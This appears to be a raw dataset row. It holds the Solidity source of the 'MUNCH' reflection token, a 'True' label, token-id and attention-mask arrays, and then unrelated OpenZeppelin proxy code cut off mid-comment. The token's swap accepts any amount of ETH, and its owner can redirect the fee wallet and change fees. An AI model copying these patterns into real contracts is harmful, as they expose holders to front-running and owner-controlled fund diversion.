function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementarion
contract MUNCH is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'MUNCH Token';
string private _symbol = 'MUNCH';
uint8 private _decimals = 9;
// Tax and charity fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Charity wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 5;
uint256 private _charityFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousCharityFee = _charityFee;
address payable public _charityWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
uint256 private _maxTxAmount = 100000000000000e9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeForCharity = 5 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable charityWalletAddress) public {
_charityWalletAddress = charityWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _charityFee == 0) return;
_previousTaxFee = _taxFee;
_previousCharityFee = _charityFee;
_taxFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_charityFee = _previousCharityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular charity event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the charity wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToCharity(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and charity fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToCharity(uint256 amount) private {
_charityWalletAddress.transfer(amount);
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToCharity(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rCharity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tCharity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tCharity = tAmount.mul(charityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setCharityFee(uint256 charityFee) external onlyOwner() {
require(charityFee >= 1 && charityFee <= 5, 'charityFee should be in 1 - 5');
_charityFee = charityFee;
}
function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() {
_charityWalletAddress = charityWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5840,
1011,
2260,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0-rc.0) (interfaces/draft-IERC1822.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
* proxy whose upgrades are fully controlled by the current implementation.
*/
interface IERC1822Proxiable {
/**
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
* address.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy.
*/
function proxiableUUID() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Proxy.sol)
pragma solidity ^0.8.0;
import "../Proxy.sol";
import "./ERC1967Upgrade.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0-rc.0) (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
import "../beacon/IBeacon.sol";
import "../../interfaces/draft-IERC1822.sol";
import "../../utils/Address.sol";
import "../../utils/StorageSlot.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallUUPS(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view virtual returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0-rc.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/transparent/TransparentUpgradeableProxy.sol)
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967Proxy.sol";
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
